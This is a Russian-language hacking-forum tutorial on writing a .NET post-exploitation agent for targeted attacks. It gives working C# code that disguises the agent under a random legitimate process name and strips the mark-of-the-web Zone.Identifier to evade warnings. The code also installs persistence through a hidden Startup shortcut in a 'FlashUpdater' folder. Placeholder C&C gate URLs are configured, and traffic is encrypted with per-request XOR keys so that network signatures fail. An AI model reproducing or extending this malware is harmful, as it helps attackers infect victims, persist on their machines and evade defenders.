Admin
Администратор
Пишем собственный тулкит для точечных атак.
Привет всем. Сегодня я покажу вам, как можно грамотно использовать .NET платформу для создания инструмента пост эксплуатации, который позволит полноценно отработать таргет и замести следы.
Думаю, у многих в голове сейчас пронеслась мысль: "А почему для данной задачи выбран именно дотнет?", приведу несколько плюсов:
- Среда CLR предоставляет функционал JIT компиляции, другими словами - компиляции кода на лету.
- MSIL код отлично морфится, и тяжело реверсится.
- Разработка на .NET платформе занимает меньше времени, является более удобной.
Я уверен, что здесь найдутся те, кто начнёт рассказывать о зависимостях от .NET Framework, и прочем. Мы с вами живём в 2019 году, Windows XP отсутствует почти везде, эта операционная система в целом мертва.
Так-же для избежания длинного холивара я хочу подметить, что я не призываю читателей данной статьи спрыгивать на дотнет с нативных ЯП, не пытаюсь показать превосходство дотнета над другими ЯП.
Я считаю, что каждый ЯП должен быть предназначен для конкретного спектра задач, использоваться по назначению. Распределение задач должно быть равномерным и грамотным.
Давайте немного отстранимся от моего монолога и составим список функционала, который мы вложим в наш продукт:
- Стабильное закрепление в системе, относительная сложность деинсталяции неподготовленным юзером.
- Лоадер
- Выполнение CMD команд
- Полноценная модульная система. Поддержка модулей в формате .NET, PowerShell скриптов.
Теперь приступим к кодингу. Создаём проект, тип проекта - консольное приложение. Версию .NET Framework, от которой будет зависеть проект - выбираем на свой вкус. Мне понравилась 3.5.
Проект создан, видим главную функцию - Main. Перед тем, как начать заполнять её контентом - давайте создадим несколько классов, в которых будут лежать воспомогательные функции,
которые понадобятся в процессе. Создаём 2 класса: Config.cs, Utils.cs.
Первый будет содержать конфигурацию, требуемую для корректной работы билда. Адрес C&C, прочие мелочи.
Второй будет хранить в себе набор некатегоризированных функций, которые потребуются для работы агента.
Начнём с заполнения Config.cs:
static public string CnCList = ""; // Список C&C, на которые будет стучать агент, разделяемых при помощи символа ;. Пример: http://command_server1.com/gate.php;https://command_server2.com/gate.php
static public string BuildID = "COMPANY_404"; // Идентификатор билда.
static public string DirectoryName = "FlashUpdater"; // Название директории, в которую будет установлен агент.
Теперь переходим к Utils.cs, начинаем заполнять его. Сперва - подключим юзинги, а далее приступим к реализации функций. Некоторые моменты я буду попутно комментировать:
C#:
using System.IO;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using IWshRuntimeLibrary;
C#:Скопировать в буфер обмена
static private Random Rand = new Random();
static private string RandomString(int Count)
{
string CharList = "abcdefghijklmnopqrstuvwxyz";
char[] NewString = new char[Count];
for (int i = 0; i < Count; i++)
{
NewString[i] = CharList[Rand.Next(CharList.Length)];
}
return new string(NewString);
}
static public string RandomProcessName()
{
string ProcessName = "";
try
{
Process[] ProcessList = Process.GetProcesses();
List<string> ProcessNameList = new List<string>();
foreach (Process Proc in ProcessList)
{
try
{
string ProcessFilePath = Process.MainModule.FileName;
if (!ProcessFilePath.Contains("Windows") && !ProcessFilePath.Contains("ProgramData"))
{
ProcessNameList.Add(Proc.ProcessName);
}
}
catch {}
}
ProcessName = ProcesNameList[Rand.Next(ProcessNameList.Count)];
}
catch
{
ProcessName = RandomString(7);
}
return ProcessName + ".exe";
}
Далее мы реализуем функционал для удаления альтернативного потока ZoneID у дропнутого файла. Для этого мы будем использовать COM интерфейс IZoneIdentifier, предоставляющий такой функционал.
Дабы не тратить время зря, код мы возьмем отсюда и приведя его в нормальный вид вставим:
C#:
public enum URLZONE
{
INVALID = -1,
PREDEFINED_MIN = 0,
LOCAL_MACHINE = 0,
INTRANET = LOCAL_MACHINE + 1,
TRUSTED = INTRANET + 1,
INTERNET = TRUSTED + 1,
UNTRUSTED = INTERNET + 1,
PREDEFINED_MAX = 999,
USER_MIN = 1000,
USER_MAX = 10000
}
public enum STGM : long
{
READ = 0x00000000L,
WRITE = 0x00000001L,
READWRITE = 0x00000002L,
SHARE_DENY_NONE = 0x00000040L,
SHARE_DENY_READ = 0x00000030L,
SHARE_DENY_WRITE = 0x00000020L,
SHARE_EXCLUSIVE = 0x00000010L,
PRIORITY = 0x00040000L,
CREATE = 0x00001000L,
CONVERT = 0x00020000L,
FAILIFTHERE = 0x00000000L,
DIRECT = 0x00000000L,
TRANSACTED = 0x00010000L,
NOSCRATCH = 0x00100000L,
NOSNAPSHOT = 0x00200000L,
SIMPLE = 0x08000000L,
DIRECT_SWMR = 0x00400000L,
DELETEONRELEASE = 0x04000000L
}
[ComImport]
[Guid("0968e258-16c7-4dba-aa86-462dd61e31a3")]
public class PersistentZoneIdentifier
{
}
[ComImport]
[Guid("cd45f185-1b21-48e2-967b-ead743a8914e")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IZoneIdentifier //: IUnknown
{
int GetId(out URLZONE pdwZone);
int SetId(URLZONE dwZone);
int Remove();
}
public static void RemoveZoneID(string FilePath)
{
IPersistFile PersistFile = null;
IZoneIdentifier ZoneID = null;
try
{
PersistFile = (IPersistFile)new PersistentZoneIdentifier();
const int Mode = (int) (STGM.READWRITE | STGM.SHARE_EXCLUSIVE);
URLZONE Zone;
try
{
PersistFile.Load(FilePath, Mode);
ZoneID = (IZoneIdentifier)PersistFile;
var getIdResult = ZoneID.GetId(out Zone);
}
catch (FileNotFoundException)
{
Zone = URLZONE.LOCAL_MACHINE;
}
catch (UnauthorizedAccessException)
{
Zone = URLZONE.INVALID;
}
if (Zone == URLZONE.LOCAL_MACHINE || Zone == URLZONE.INVALID)
{
return;
}
var removeResult = ZoneID.Remove();
PersistFile.Save(FilePath, true);
}
finally
{
if (PersistFile != null)
{
Marshal.ReleaseComObject(PersistFile);
}
if (ZoneID != null)
{
Marshal.ReleaseComObject(ZoneID);
}
}
}
Настал момент реализовать персистентность нашему агенту. Она будет довольно простой, метод будет заключаться в том, что мы будем создавать ярлык в авторане, спать рандомное количество времени, и затем дропаться.
Заходим в меню Add References, добавляем Windows Script Host Object Model, пишем функцию для создания ярлыка с рандомным именем, описанием, и иконкой блокнота ( выбор автора ):
C#:
static public void AddToAutorun(string FilePath)
{
try
{
WshShell Shell = new WshShell();
string ShortcutPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + RandomString(Rand.Next(4, 16)) + ".lnk";
IWshShortcut Shortcut = (IWshShortcut)Shell.CreateShortcut(ShortcutPath);
Shortcut.Description = RandomString(Rand.Next(4, 24));
Shortcut.TargetPath = FilePath;
Shortcut.IconLocation = Environment.GetEnvironmentVariable("WINDIR") + "\\notepad.exe";
Shortcut.Save();
}
catch
{
throw new Exception("Can't create file shortcut");
}
}
Возвращаемся в главную функцию нашей программы, зараннее добавив в Add References System.Windows.Forms, и заполняем её:
C#:
string InstallDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Config.DirectoryName;
if (Application.ExecutablePath.Contains(InstallDirectory))
{
MessageBox.Show("It works!");
}
else
{
if (Directory.Exists(InstallDirectory))
{
Environment.Exit(0);
}
string InstallPath = InstallDirectory + "\\" + Utils.RandomProcessName();
try
{
Utils.AddToAutorun(InstallPath);
Thread.Sleep(Utils.Rand.Next(6000, 21000));
Directory.CreateDirectory(InstallDirectory);
File.Copy(Application.ExecutablePath, InstallPath);
Utils.RemoveZoneID(InstallPath);
}
catch { }
Теперь давайте я расскажу о модели общения с админкой. Я решил не заморачиваться с использованием в качестве C&C различных извращений, по типу гугл диска, сделав простой отстук по http протоколу.
Мы не будем так-же извращаться с протоколом общения с админкой, использоваться будen банальные делимитеры. Траффик будет шифроваться посредством кастомной реализации XOR'a, с использованием рандомного ключа для каджого запроса, а затем крыться base64.
Благодаря этому траффик будет выглядеть полиморфным, и на него нельзя будет поставить чёткую сигнатуру. ( Каждый запрос будет выглядеть уникально. )
Это будет работать за счёт того, что гейту будет передаваться GET параметр k, который будет содержать в себе ключ по которому зашифрована строка.
Приведу небольшой пример реализации:
Есть строка - "hello, xss". Мы шифруем её при помощи XOR'a. Далее - мы конкатенируем её с ключом, длина ключа - статическая, 6 символов, попутно шифруя уже зашифрованную строку этим ключём. Выходит строка: keykeyencrypted ( keykey-ключ, encrypted - данные ), поставь чёткую сигнатуру на тело запроса в таком случае не выйдет.
Перейдём в Utils.cs и напишем функцию для шифрования строк:
C#:
static public string XOR(string StringToEncrypt, string Key)
{
string BStringToEncrypt = Convert.ToBase64String(Encoding.Unicode.GetBytes(StringToEncrypt));
char[] EncryptedString = new char[BStringToEncrypt.Length];
for (int i = 0; i < BStringToEncrypt.Length; i++)
{
EncryptedString[i] = (char)(BStringToEncrypt[i] ^ Key[i % Key.Length]);
}
return Convert.ToBase64String(Encoding.Unicode.GetBytes(EncryptedString));
}